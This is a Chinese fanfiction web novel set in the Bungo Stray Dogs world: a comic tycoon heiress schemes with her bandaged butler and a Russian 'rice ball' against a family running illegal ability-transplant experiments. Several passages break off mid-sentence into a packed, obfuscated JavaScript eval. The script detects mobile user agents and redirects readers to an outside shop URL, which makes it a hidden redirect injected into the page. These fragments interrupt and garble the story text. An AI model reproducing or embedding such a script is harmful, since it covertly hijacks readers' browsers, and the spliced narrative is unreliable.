今天联络政府高官,明天密会黑设会,想方设法要把我拉下马。 从他们开始用这种手段挑衅的时候,我就因为一些顾忌放了他们一马又一马,但是他们不但不懂得收敛,反而还变本加厉,我又不是放马的。 绷带精管家问我怎么了,我看了他一眼,霸总DNA开始蠢蠢欲动,我喃喃自语,“天凉了……” 管家看了一眼天气,“今天三十度。” 我不理他,继续喃喃自语,“该给他们找个牢坐一坐了。” 绷带精管家顿了一下,十分自然地拿过我放在桌上的那叠小报告一目十行,他嘴角含笑, “您多虑了,他们还威胁不到……” 然后他看到了我的某位亲戚打算暗杀他以便在我身边安插人手。 他先是眼前一亮:“还有这好事?” 我疑心他是不是受到了刺激导致精神变态,但他下一秒就摇了摇头,“算了,暗杀动刀动枪的很疼的。” “?”我大为震撼,“不是,不疼的话你难不成还有什么打算吗?” 我立马忧心忡忡地递给他一张支票,严肃叮嘱道。 “去找个心理医生看看!有病治病,你放心,费用我包,虽然你只给我工作了两个月,但在我心里我们就像相处了……两个月一样!” 我的废话文学打动不了他,绷带精管家很叛逆,“没病,不看,现在还死不了。” 他虽然叛逆,但语气并不强硬,反而懒洋洋的,尾音拖长,一副毫不在意的样子。 好想找人打他一顿,然后送去公海毁尸灭迹。 我有些苦恼,员工的心理健康对企业的发展有重大的影响,我可不想听见哪一天我的员工从公司楼顶跳下去了的消息。 他倒是跳下去了,房价也要跌下去了。 我煞费苦心经营的集团声誉也啪唧,碎一地了。 我想了想,试探道:“不愿意看医生也行,我再给你想想别的办法,但是你能不能先答应我一件事?就是如果你这段时间实在想不开了能不能先提前告诉我一声,让我有个准备?” 他挑眉看我,十分感兴趣地模样,“你要准备什么?” 我非常诚恳地开口,“准备一架直升机把你空投到咱们竞争对手公司的楼顶。” 他的笑容缓缓消失。 我越想越觉得可行,期待地看着他,“如果你愿意,等逢年过节的时候我一定给你多摆点东西,让你成为路上贡品最多的仔!” 绷带精管家嘴角耷拉了下来,他懒懒地看我一眼,“资本家就应该挂在路灯上。” 我瞪眼,“诶诶诶,怎么还人身攻击呐!有人轻于鸿毛,有人重于泰山,我稍稍利益最大化一下可是为你好,让你重于泰山呐!” 绷带精管家皮笑肉不笑,“我重了,财团股价也涨了是吧。” 我郑重地拍拍他的肩,“我会带着股东一起给你摆东西的。” “……”绷带精管家抽抽嘴角,“大可不必。” 我有点遗憾地收回手,但一想到这个定时炸弹也有在我家大楼爆炸的可能性,我就有点惆怅。 正好我又看到了桌上的那叠小报告,灵机一动,“要不我托托关系,给你也找个牢坐?” 绷带精管家:“?” 我关心地看着他,“听说里面的人各个都是人才,说话又好听,说不定你会超喜欢里面的,然后就不会想那些有的没的。” 绷带精管家脸上依旧是那副得体的微笑模样,但他的眼皮却好像抽动了一下,然后又重复了一遍,“大可不必。” 我还要劝他,他却警惕地看我一眼,“总裁,您是在关心我吗?请记住您的身份,您逾越了!” 我:“???” 他是总裁我是总裁? 没等我缓过劲来,他却已经转移了话题,“你那二大爷想必比我更需要监狱的毒打。” 我深以为然。 但是放狠话容易,操作起来还有些难度,那些小报告也没法当成呈堂证供。 我思索了一下,问绷带精管家有没有什么好建议。 他想了想,然后满面笑容地看着我,“您要是下定决心要把他们抓起来的话,我倒是可以试试帮您找证据把他们送进监狱。” 我诧异地看着他:“你一个高级白领还有这本事呢?你以前是做什么工作的?” 他矜持地笑了笑:“做犯人的思想工作。” 我是个霸总,他是个管家,我们可以一起挣钱,但是我们不能一起当清汤大老爷。 就算下定决心给二大爷送进去,但找证据这么麻烦的事还用不着我出手,也用不着我那貌似有着丰富的工作经历,和很神经病的精神状态的管家出手。 这种打击违法犯罪的事当然要交给专业团队。 正好我身边就有一个相当专业的团队正悄咪咪调查我。 感谢大自然的馈赠。 我阴险地笑了笑,然后让我的绷带精管家想办法找到潜伏在我身边的武装侦探社成员,并把这叠小报告交给他们。 听了我这个天才的想法,绷带精管家突然抬眼打量了我一下。 他黑洞洞的眼睛直勾勾地盯着我,那审慎冷凝的眼神哪有半点平常温和的样子,不知道的还以为我犯了什么天条。 我冷笑一声,就知道他藏不住,这不就露馅了,我一看就知道…… 这小子不想加班! 我顿时苦口婆心地PUA他,“虽然当时入职的时候没说还会让你负责这种事,但是年轻人不就该多锻炼吗?虽然工资不变,但我这是在给你机会啊!你要珍惜这种……” 绷带精管家打断我,“这就是你把小报告交给我的理由?” 我睁大眼睛,“什么交给你,是交给武装侦探社那些人!” 我细细嘱咐,“而且不能直接交给他们,你查出可疑人员以后最好神不知鬼不觉地让他们发现这些东西,千万不能暴露出是我故意给他们的,毕竟他们自己查出来才会更加相信。” 我耐心地和他说着注意事项,从小报告上的恶劣行为说到目前横滨的量刑标准。 不仅把我安放在家族里盯着二大爷的那几个眼线都交给了他,还给了他一份我身边疑似武装侦探社成员的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我给你的名单你要好好看,武装侦探社的那个太什么治的擅长易容,我很早以前和他打过交道,这人诡诈狡猾,说不定他现在就混在里面,你查的时候千万要当心!” 绷带精管家顿了一下,随即扬起一个弧度略有些夸张的笑, “您和他打过交道,得出来他诡诈狡猾的结论吗?好的我记住了。” 我不在意地点点头,“嗯,记住就好,去查吧。” 他看向我递给他的名单,伸手拿之前突然又开口问我, “您以前见过他这么多次,如果再见的话,您应该能认得出来才是,毕竟是故人呢。” 我诧异地看了他一眼,“又没有多深的交情,不过是以前他在港口mafia的时候,我问森先生借调过他和他的部下几次,来武力震慑一下家族里那些老登。” 绷带精管家挑眉,“几次?” 我:“……二十多次吧。” 绷带精管家啧了一声,“这都记不住?” 我惭愧,“太忙……” 绷带精管家哼了一下,“我看您是脸盲。” 我惭愧到一半又理直气壮,“就是记住了又如何,我见过他,他要是来,肯定会易容呀!” 绷带精管家微笑,“如果他没有易容呢?” 6. 饭团先生和我 绷带精管家微笑,“如果他没有易容呢?” 我撇嘴,“没有这种可……” 我愣了一下,不对,还真有这种可能! 我突然想起记忆中那模糊不清但黑的像泥一样的人影,时常用一些打了几层马赛克还能看到血色的方法折腾人,冷冰冰的像个没有感情的黑色幽灵。 我能短时间压制家族里的老登,也亏得森鸥外借给我的人是他。 以前折腾别人,现在说不定就可能回来折腾我! 这个世界真是一个巨大的回旋镖。 绷带精管家微笑着吐出鬼故事,“您都认不出来他,那说不定他现在就在您身边呢。” 我惊悚地看着他,“大白天的,吓死你老板对你来说有什么好处吗?” 绷带精管家单手托腮,歪头想了想,“可以不用加班?” 我:“……” 我冷笑:“狡猾的管家。” 我拿起桌子上的资料,和善的递给他,“差点就被你逃过了,来,这里有份名单,赶紧去查吧。” 管家:“……” 管家叹气:“歹毒的老板。” 他接过名单,扫了一眼后眼角一抽,“过分了,为什么看门的狗都在这份名单里?” 我屈起手指不满的敲了敲桌子,“人家旺财那么大一只,不是很好cos吗?” 绷带精管家合上名单,“你倒是记得旺财的长相和名字……不过我不觉得会有人易容成狗。” 我哼了一声,“你怎么知道?你又不是他。” 绷带精管家双手抱胸,懒洋洋地指着我桌旁的盆栽,“他就是易容成发财树都不会易容成狗!” 我大惊,“他还想当我的发财树!他做梦!” 我心疼的抚摸着我的树,“我可就指着它发财了。” 绷带精管家神色狐疑,“这有什么说法吗?商业机密?阴阳风水?家族秘辛?如果它死了的话会怎么样呢?” 我义正严辞,“我会不开心。” 第二天我来公司的时候我的树就死了。 绷带精管家面不改色的跟我说,这可能是对家的阴谋,是家族的报复,是狠毒的商战。 我说有没有可能,我看到你提着开水壶浇我的树了。 最近老宅那里又开始不安分。 二大爷连续给我打了二十几个电话让我回去见一位贵客。 打了电话又不说清楚见谁,不管我怎么问,他就是不说,反而一个劲儿的催我回去。 我有种不祥的预感。 我的绷带精管家和我心有灵犀。 “总裁,”绷带精管家严肃道,“他要你回去相亲。” 我大惊失色,“你不要咒我!” 但我左想右想也想不出到底还能有什么事,于是我幽怨的看着绷带精管家,“一定是因为你浇死了我的发财树,我才会这么背。” 绷带精管家无辜的看着我,“我也不知道那是刚烧开的水呀。” 我是信他,还是信我的相亲对象是天皇。 家族里那群人这次让我不要带野男人回去,我只能一个人踏进老宅。 走进会客厅的那一瞬间我的眼皮就开始狂跳,在看清沙发上端坐的俄罗斯人的时候我眼前一亮。 二大爷让我回去见的不是相亲对象,是毛子。 是谁说这是相亲的呀!害我差点儿就不想来了。 这明明是我最好的老外朋友啊! 我快乐的打招呼,“那是谁?哦!是我最好的朋友费……呃……陀……” “一坨饭团先生!”我确信。 饭团先生端着红茶的手一顿,似笑非笑的瞥我一眼,“记不住我的名字可以不说。” 饭团先生直勾勾的看着我,“还有为什么是饭团?” 我咳了一声,“我承认我有些许抽象,但是抛开事实不谈,这位带着白色护耳帽的黑发朋友,你就一点问题都没有吗?” 饭团先生站起身扭头就走。 我急了,“别走啊我最好的朋友!” 我:“虽然已经有好几年没见了,但是我与你依然一见如故啊!” 饭团先生很冷漠:“并没有。” 在我和饭团先生单方面愉快叙旧的时候,我二大爷就被饭团先生找借口支出去,偌大的会客厅只剩下我们俩。 大门一关,饭团先生就冲着我二大爷出去的方向冷冷勾起了唇角。 我当下有些好奇,“他们做了什么事惹到你了?” 饭团先生歪了歪头,笑得很是天真,“他还在呼吸这件事。” 好霸道一饭团,呼都不让人吸了。 我撑着下巴看他,这么多年不见他还是这么细狗,好像时光在他身上留不下一点痕迹,下巴尖尖,弱质纤纤,我那时不时咳一声的孱弱黑衣保镖脸色都比他要红润。 谁又能想象的出他曾经单枪匹马,掀了家族里一个研究异能的地下实验室呢? 他也在打量我,那眼神活像杆秤,掂量着如今我的斤两。 理解,毕竟第一次见面的时候我还是一个柔弱的智障。 而现在我是一个柔弱的资本家。 我拿起紫砂壶给他的杯子里添了点茶水,“就连我都不能随意回老宅,你又是用什么理由进了这里?” 饭团先生悠悠道,“相亲。” 我手一顿,“别逼我用开水泼你。” 饭团先生挑眉,“你可以试试。” 我叹了口气,着实心累,我捏了捏眉头,“这里不是什么好地方,看在往日的交情上我给你一句忠告,离这里远点。” 饭团先生不置可否,依旧慢悠悠地喝茶。 我心头一跳,脸色瞬间难看得像诈尸了一样,“你不会又给他们说你是什么异能专家吧?” 虽然是在问他,但我基本已经确定了,除了异能可以让老宅这些人感兴趣,还能有别的什么吗? 饭团先生果然点头,他语调悠扬,仿若暗含着某种旋律,明明是极悦耳的声线,但在我耳中活像卡车压过尖叫鸡。 “是啊,我说我会移植异能呢。” 移植异能。 上次听到这个词还是上次。 那次惊天一爆,实验室土崩瓦解烟火熏天,我爹这个前首富举家族之力修建的非法实验室建筑群被炸的只剩渣。 要我说他活该。 干什么不好,偏偏和一群科学怪人搞人体实验,自己长不出异能就想挖别人的来安上。 但是安也安不上,偏他还不信邪,重金招揽能人异士来接着搞。 他招人也很是不拘一格降人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我早几年康复的时候,那些私生子也到了懂事的年纪。 森先生在临走前曾嘱咐我让我苟着别飘,毕竟那些私生子们也不知道自己是预备小白鼠,各个都积极的想把手伸进财团分一杯羹。 而我身为一个傻子,即使是我首富爹上过户口的唯一继承人,在那群要争家产的人眼里也是没有威胁性的。 而且最关键的是,保持智障可以让我那疯子爹别来祸害我。 我深以为然,并认真践行。 以至于我爹很长一段时间内,都不知道他女儿我,其实能算十以上的加减乘除。 我爹的死说起来也和饭团先生脱不了干系。 那时候我爹的实验陷入瓶颈,而饭团先生突然上门自荐,说自己是什么异能专家,能给人移植异能。 和那些奇行种相比,他正常的让我爹落泪。 即使他和那些专家相比过分年轻,但那卓越的头脑和对异能的深刻理解都让我爹惊为天人,于是立马就将实验室的决策大权交给他。 权是早上交的,实验室是晚上塌的。 他不是来做学术研究的,他是来搞恐怖袭击的。 7. 异能和我 他不是来做学术研究的,他是来搞恐怖袭击的。 饭团先生貌似想要创造一个没有异能的世界,而我爹想凭空给人搞出异能,这简直是在饭团先生雷点上蹦迪。 以我对饭团先生的了解,仅仅只是活埋已经非常人性化了。 我的首富爹能动的钱大半都投到了实验室,作为第一个小白鼠,我眼看他起高楼,眼看他楼塌了。 不仅塌了房,还没了命。 饭团先生搞塌实验室后拍拍屁股走人了。 他的袭击事发突然,我首富爹死的猝不及防。 趁着家族里那些老家伙还没反应过来,大孝女我本人,买通了现场所有的幸存者,也买通了他的小老婆。 然后把我已经凉了的首富爹挖出来后擦一擦,丢在了他第四十二个小老婆的床上。 并且联合森先生,通过他的势力对外散布情色流言,力争把他的死往私生活不检点上甩锅,压下非法实验室的消息。 毕竟那老登一个人死就死了,留下那么多公司、股票、基金,不能都被他连累了。 否则股价一旦剧烈波动,现金流断裂集团入不敷出,再加上各方势力乘火打劫,破产清算可是说来就来。 过不了多久我就能上街收破烂还债了,真是想想都刺激。 我从废墟里爬出来,可不是为了接手废墟的。 所以说,就散布流言这件事,我是真的感谢森鸥外,没有阴阳怪气的意思。 虽然森鸥外一开始并不想来,毕竟他刚接手港口□□不久,没那么多闲工夫去管别人家的事。 但他还是被我打动了,不仅是因为我们独特的情分,还因为我送过去了两大箱金条。 当然,后者的作用更大一点。 而我趁着这番动荡,以我首富爹明面上唯一的继承人的身份,就此从暗无天日的实验室走到了人前,正式参与家族夺权,一步步走到了今天。 所以说,饭团先生不仅是个好心人,还是我的杀父…… 恩人。 饭团先生将茶杯放在了桌子上,脸上带着笑,语气却冷得紧, “人类总是贪婪的,位卑人微的想要独揽大权,富甲一方的想要驯服异能,无穷无尽,让人厌烦。” 他陷在了柔软的沙发里,细长的手指轻托着下颌,眼中闪着莫名的光,“你们啊,最贪得无厌的就是你们。” “明明有了几辈子都花不完的财富,明明已经有了大部分人都梦寐以求的生活,可是你看,” 他抬手虚虚点了点自己的唇,“我只是提了些许移植异能的事,你们就迫不及待的将我请来了这堪称铁桶一块的老宅呢。” 他神色冰冷,“不管是过去……” “还是现在。” 他牢牢盯着我,声音很轻,却尖锐地如同刺入心脏的冰锥,“谁能想到呢?如今的你们,又重启了实验室。” 我沉默了一下,抬眼看他,“你从哪里知道的呢?” 他没有正面回答,反而慢条斯理道,“若非重启了实验室,你这老宅里的人又怎么会这般重视能移植异能的人呢?我又怎么能这般容易就进了这里呢?” 我也不说话,只是自顾自地品茶。 他上下打量着我,沉默了一会儿突然话锋一转,“其实我早就想问了,当年递消息出来,引我来这里炸你父亲的实验室的人……是你吗?” 他虽是疑问,语气却笃定。 我弯了弯唇,反问他,“当时你就想问的话,怎么现在才来问我呢?” 我依旧在笑,语气不疾不徐,“是不是因为……没想到我能从被你炸的坍塌的这么严重的实验室里,活着出来呢?” 饭团先生点点头,“是的。” 他好干脆,我好伤心。 我垂泪,“我们不是最好的朋友吗?” 饭团先生:“……” 饭团先生:“别逼我用开水泼你。” 行叭,我收回说饭团先生还挺人性化这句话,这家伙聪明但极端,当年其实就是奔着斩草除根来的。 而我,正是那个“根”。 亏我小心隐忍猥琐发育,千辛万苦到处传递消息,好歹也算是他某种意义上的队友,而他毫不在意百无禁忌,用炸弹痛击他的队友。 我好,他坏。 饭团先生压根没有面对无辜受害者的愧疚,他目光沉沉,好像一条伺机而动的蛇,“你当年既然引了那么多人来毁实验室,怎么现在又要重启呢?” 我想说什么,他却先一步开口,“别说你不知道,总裁大人,如今这个家族里,怎么会有你不知道的事?” 我要张口解释,他却将食指放在唇上,“嘘,让我猜猜,你是钱多到没有追求就想挑战异能?还是地位不稳只能以异能为诱饵笼络人心?” 我再次想说话,他突然放轻了声音,眼中充满了冷意,看我好像在看尸体,“还是说……” “屠龙者,终成龙?” “龙个屁,”我翻了个白眼,“因为当初你炸的实验室只是其中一个,另一个在我二大爷手上,什么重启不重启,那个实验室一直好端端的,就没关过!” 空气死一般的安静。 饭团先生顿了一下,缓缓道:“没猜错的话,这应该是你们家族秘辛吧,就连我到现在都没有查出来,你为什么给我说这些?” 我又翻了个白眼,不说的话他觉得我是丧心病狂研究异能的疯子,说了的话他觉得我对他图谋不轨,他怎么这么难伺候。 不过我也确实对他图谋不轨,毕竟这年头工具人可不好找了。 我之所以能容忍老宅里这些人到现在,就是因为他们手上这个不明底细的实验室,但是我现在不想忍了。 出于某种原因我无法正面和他们抗衡,所以我需要有人变成我的刀。 我二大爷手上那个实验室一直是我的心腹大患,我当年争权上位仓促了些,没能找到那个实验室。 所以他在里面养了多少人,有多少本事,甚至连那个实验室在哪我都一概不知。 我虽然一时半会不能轻举妄动,但是我有什么?我有钱!不到万不得已我才不会自己上去和二大爷硬刚。 而现在饭团这个工具人自己找上门来了,他不愧是我的知心朋友,毫无交流就能凭感应再次找回来,感谢大自然的馈赠。 饭团先生能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我依旧微笑,“是的,我和我父亲有着糟糕的亲子关系,谢谢关心,你真会聊天。” 他眼中的兴味越发浓重,“你的异能是什么?竟然能让你从爆炸里逃生?” 我:“……” 好没有边界感一饭团,非要打听别人隐私。 我摆摆手:“别管,总之很有用就是了。” 他盯着我,突然勾了勾唇,露出了个极愉悦的笑, “你传信引人对付实验室,你又隐藏了自己的异能,那么当初你因为实验事故变成弱智的事情,是装的还是真的?总裁大人,你还有多少秘密呢?” 我保持微笑,“你知道我太爷爷是怎么活到103岁的吗?” 饭团先生想了想,“因为懂得扮猪吃老虎?” 我:“因为他从来不多管闲事。” 饭团先生脸上带笑,但却眼神冰冷,“你知道上一个这么和我说话的人如今是什么下场吗?” 我面不改色,“不知道,因为我不爱多管闲事。” 8. 秘密和我 饭团先生的眼神尖锐了一瞬,即使很快遮掩了起来,我也没有忽视那一瞬间浓重的杀意。 但我非常有恃无恐。 笑死,有本事他现在就搞死我。 他今天搞死我,明天没有我压制的二大爷就能把实验室开成全国连锁,反正到时候头疼的也不会是我一个尸体。 我不仅不怕他,我还非常稀罕他。 毕竟这可是找上门的工具人,是自动自发对付二大爷的加特林,是我方的战友,是坚定的同志! 就算我也在这位饭团同志的猎杀名单上,但是只要他对付二大爷,我们就是异父异母的亲兄妹! 所以说,不管饭团先生多么的极端,多么的穷凶极恶,多么的不把人命当人命,他在我心里都是慈眉善目的活佛。 他都要帮我去创二大爷了,他能是坏人吗! 活佛本人并不满意,他甚至有点嫌弃,“你这是什么恶心的眼神?” 他语气很恶劣,但我毫不在意,毕竟他是我最好的工……咳,朋友。 我本以为饭团先生会再刺我几句,但是他却只是站着看着我,然后他那带着笑意的冰凉声线缓缓响起, “你的秘密这样多,你不愿意告诉我,可是你打算瞒到什么时候?你又能瞒到什么时候?” 我不动声色,“我一清白的好市民我又能有什么秘密?” “清白?” 饭团先生的眼睛微微睁大,像是听到了天下最大的笑话,他语气怪异,“难道你以为实验室是我炸的你就不算……” “弑父?” 这两字清晰明了,他轻描淡写地说出口,任谁都能看清他眼底的恶意。 我抬眼看他,这人脑子好,能看清人性,也能看清弱点,他不见得是在指责我,毕竟他自己的道德底线都令人发指。 他只不过是在试探。 他最擅长用言语去蛊惑,将之化为锋锐的刀,然后诛心。 他与我不是一路人,甚至还惦记着让我死一死。 “哦对啦!还有一件事呢,”他好像还觉得刺激得不够,又冲着我幽幽一笑, “这件事怕是没几个会在意,说不定首富大人您自己都不在意了,毕竟能从一个孤女爬到今天这个位子,又怎么会在意几条人命呢?” 我在他心里究竟是个什么形象?我默默地看着他,满心疑惑。 我一遵纪守法的纳税大户,为什么在他眼里是个不择手段的法外狂徒? 我正想问他是不是仇富,饭团先生却突然改了口, “不,不应该是没有人在意,而是不敢有人去在意。” 到底是啥事啊?我想了半天也想不出来,头好痒,感觉要长脑子了。 我试探道:“再给点提示?” 饭团先生笑了,“没有人敢提这件事,是因为没有人敢挑战首富大人您的权势啊。” 啥权势啊?我挠挠脑袋,做点小生意而已,这口气咋整的我像横滨土皇帝。 好像看出我的想法,饭团先生悠然开口,开始一条条“夸”我, “力压港口mafia的灰产,横滨财政百分之五十依托于您家族旗下的产业。” 我继续挠头,也没有“力压”这么夸张,也就比森先生多一两个百分点吧,还是这半年才发展出的成果,我二大爷再蹦跶几下说不定就能把这几个点给我蹦没。 “以安保为名招募的警卫人员规模和装备水平甚至比得上军警,比起保安,他们更像是您的私军。” 我摸摸鼻子,为了安全再怎么谨慎都不为过吧? 虽然招的人有亿点多,但保安而已,看个门收个快递罢了,什么私军?再说了我又不会让他们去攻占横滨,什么魔鬼会让看门大爷帮她攻占横滨? “哦对了,听说您还准备竞选市长了?前两年加入地方议会后明里暗里影响了大部分决策,这已经满足不了您的需求了吗?” 我抠脑壳,哪跟哪啊,花钱捐个官罢了,我们商人的执念不就是氪金买一身提升社会地位的官方“皮肤”吗?最大的用途就是招标引资装逼会上,我的身份介绍PPT能比别人多一页。 然而这种话我只能暗地里吐槽,毕竟我也没那么缺心眼给邪恶饭团把家底全交待了。 家丑不可外扬,外人只需要知道我很牛X就行了,人家表扬我的脸,我难道要露屁股给他看吗? 但或许是我这些年面上功夫做的太好了,以至于我在饭团先生眼里显然过于牛X,已经达到了一种一手遮天的诡异境界。 我听着他慢条斯理的罗列着那一条条脚踩异能特务科,拳打港口mafia,一统横滨黑白两界的震撼谣言。 再回首望一望我高矮胖瘦男女老少的草台班子,总有一种外国人自己看意林,发现那篇刷十遍马桶,再面不改色喝马桶水文章的无力。 “所以您看,您如此位高权重,哪里有人敢轻易招惹呢?” 饭团先生越说越起劲,“别的不提,就说您手下安保人员的人数都已经快要超过军警了,这就是您最大的依仗。” “什么是权力?” 饭团先生笑着,眸中闪过一丝锐利的光芒, “您有权,他们有力,您能控制他们,这就叫做权力。” 我一顿,倒是有些认同他这番话,不谈人均素质,只看手下有那么多人可以支配,就算那全是天线宝宝在横滨也不可小觑了。 毕竟那可是平均身高两米五的巨型宝宝! 等一下,说不定天线宝宝都比我那些重量不重质的草台班子强,毕竟宝宝们真的很大只,一屁股下去杀伤力和侮辱性都很强。 我正思维发散,却见饭团先生倏尔一笑,“那么如今位高权重的首富大人,您想起来了吗?人在做天在看,无人敢提可不代表从不存在啊。” 这话一出,我心里忽然有了一丝感应,我猛然抬头,心知他要说的应该就是…… “那些私生子,”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385725|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他好整以暇地看着我,“那些与你享有同等继承权的私生子。” 我捏了一下手心,压制住节奏愈发快的心脏,只听他慢条斯理道:“那些可怜的、在你上位后突然人间蒸发的、没有任何人敢提的私生子。” “总裁大人,”他笑着问我,“连自己的父亲都能亲手做局杀死的现任横滨首富大人,能不能告诉我,他们去了哪里呢?” 我沉默不语,见状他笑得更开心了。 他低眉浅笑,嗓音清越,语调婉转得像是在颂诗,但说出来的话却像是刀子, “三十二个私生子,三十二个失踪案,首富大人,这么多条人命,你啊,清白吗?” 他一口一个首富,一口一个总裁,他不是在奉承,他是在讽刺。 失踪案。 活不见人死不见尸的,没家属报案自然没人查,我笃定我摆平了家属,甚至我自己就是血脉最近的家属。 可现在军警查我查的就是失踪案。 我突然笑了,有些原先想不明白的事情豁然开朗,我挑眉看他,“你报的警,你让军警来查我。” 其实军警早晚要查我,横滨那位市长可是看我不顺眼极了,他巴不得找到我的错处,将我踢下候选人的位置。 但他们一直没有光明正大的理由,直到俄罗斯人递过去了最锋利的一柄刀,这柄刀尖锐且扎心,势必要割开一道要紧的口子。 他眨眨眼,“毕竟我可是个见义勇为的好心人。” 表扬完他自己,饭团先生又好像有些困惑一般歪了歪头,“可是武装侦探社又是怎么搅合进来的呢?我最开始的计划里可并不包括他们呢。” 他连武装侦探社潜伏到我身边都知道…… 我垂下眼静静道:“谁知道呢,可能年底冲业绩吧。” 但是饭团先生显然不会相信。 他盯着我看了一会儿,素白的手指支着下巴,好像在解什么难题。 良久,他唇角突然绽放了一抹极致兴味的弧度,然后他毫无预兆地上前两步,弯下腰直直地看着我。 他一字一顿,“是你,你引来的武装侦探社。” 大爷的,还特意弯腰和我对视,一米八了不起吗? 我赶紧后退了两步,然后睁大我无辜的眼睛,“你怎么凭空污人清白?” 他却不理我,只自顾自地说下去,语气充满了莫名的喟叹,“当年你引来了我,现在你又引来了武装侦探社。” 他突然顿了一下,“不,如果你想效仿当年,利用他们去毁现在这个实验室,你应该会把他们安排到老宅这边,可我的情报上说的是那些人现在都在你自己身边……” 他想了想,然后饶有兴趣地看着我,“你是要让他们查你自己,为什么?” 别问了别问了,老底都要被他掀完了。 我沉默了一下,坚定道:“我钱多了烧得慌。” 饭团先生的表情可怕得像要把我一把火烧了。 9. 布局和我 武装侦探社确实是我自己招来的。 我是真没想到这个饭团子这么快就猜到了,明明森先生都没有多问。 其实早在我知道军警要调查那三十二个私生子的失踪案后,我就让人假装其中一个私生子的母亲去武装侦探社,委托他们潜伏到我身边查案。 没别的原因,单纯想当搅屎棍把水搅混,顺便再给自己的小命上点保险。 森先生不想和二大爷打交道,就会在这种紧要关头派个小弟来保护我的安全; 就像毛子同志即使被我一口一个“饭团”叫的杀气腾腾,也得等处理了实验室才会对我开刀。 只要老宅的这些人存在一日,知道他们勾当的人就得把我护着,就得保我的命,就得把我牢牢保在总裁的位子上,以此抗衡老宅的势力。 森先生是这样,饭团先生是这样。 但不够,远远不够。 二大爷的威胁太大了,市长那老登也在虎视眈眈,而我的命很值钱,我需要很多人搅这滩浑水。 所以我想让军警也这样,武装侦探社也这样。 还不能是我去主动找他们合作,毕竟我明面上还无法彻底和老宅这边撕破脸。 我有眼线我二大爷自然也有,我没有十足的把握,不能赌这一点暴露的可能,我要的是万无一失。 我要让他们主动配合我。 最好是暗地里默默配合,就像森先生和饭团子,心照不宣的那种。 不配合怎么办? 还是那句话,没有我压着,我二大爷能把实验室开成全国连锁,到时候头疼的可不是我一个了。 我并没有开玩笑,因为我最清楚家族里多有钱,我家族那些人又有多疯狂。 我们有钱到让一百个最不把钱当钱的败家子一天到晚可劲花,连续花八辈子都花不完。 而家族里那些人虽然文不成武不就,但最擅长花钱,传统艺能就是自己做不到的就砸钱请别人做。 重赏之下出勇夫,那些研究异能的奇形种如果没有我压着,哪一天横滨市长本人被劫持到实验室我都不会惊讶。 那些人的疯狂足以让军警和武装侦探社警惕,而一旦他们发现这些隐秘的疯子,一旦了解到我和二大爷的对立,那么扶持我这个依法纳税好市民,打压二大爷那个法外狂徒精神病将是他们的最优解。 与抽象的实验狂人二大爷相比,大部分时候都遵纪守法的我是何等的和蔼可亲。 毕竟横滨市长也不想第二天一醒来发现自己生理上三头六臂了。 饭团先生以失踪案的名义拉了军警入局,虽然打了我一个措手不及,但他一方面是膈应我,另一方面却未尝不是在引入第三方势力搅浑这滩水。 水越浑,我的命越有保障,我背地里的动作就越不会引人注目。 即使他并不在意我的死活,甚至更想让我死一下,但他也知道我现在活着才更有价值。 我自信失踪案查不出丝毫痕迹,而只要军警主动来查我,我就能顺理成章让他们查到实验室,到时他们将是我最强劲的后盾。 武装侦探社也一样,我不能主动让人去查二大爷,但我能让他们来查我本人,一旦拉他们入局,我就有了最完美的工具人,他们会是我最可靠的先锋。 我甚至都不需要主动透露什么,只要我认出潜伏在我身边的武装侦探社社员,再把他用给老宅补充人手的名义送过去。 听说这些潜入活动打头阵的就是太宰,那么这位诡诈狡猾的侦探社成员想必立马就能探查出实验室的真相,马不停蹄地加入默默扶持我的阵营吧! 甚至会主动出手除掉实验室也不是没可能。 就像当年我从森先生那借他压制老宅的人一样,这一次,我要向武装侦探社借他。 借他手,再压一次。 更妙的是就算他们不小心暴露了身份,或者走漏了风声,老宅那些人也不会第一时间怀疑我。 就算他们来质问,我也能无辜地睁着我的眼睛大声辩解, “他们本来是来对付我的呀!但是他们是怎么查到你的我也不知道啊!我和你们一样都是被调查的受害者啊我亲爱的二大爷!” 如今港口mafia、死鼠之屋、军警、武装侦探社都已入局,这场家族内斗的水越来越浑。 六方势力八百个群。 我他娘的真是个天才。 但是我失策了。 我竟然失策了。 我没能把武装侦探社的人送到二大爷身边。 连饭团先生质疑我的时候都在问我为什么不把人安排进老宅,反而放在自己身边。 我不当世界首富难道是因为我不想吗? 我根本认不出谁是他爹的、该死的、他爹的,太宰治。 早知道以前见他那二十多次就应该多瞅他两眼。 脸盲真是耽误事! 不过这么多年过去了,记忆也不一定靠谱,人都是会变的,就连我自己,头发都比以前少了不少。 可我现在连不易容的太宰都认不出来,这活生生让我完美的计划连开展的机会都没有。 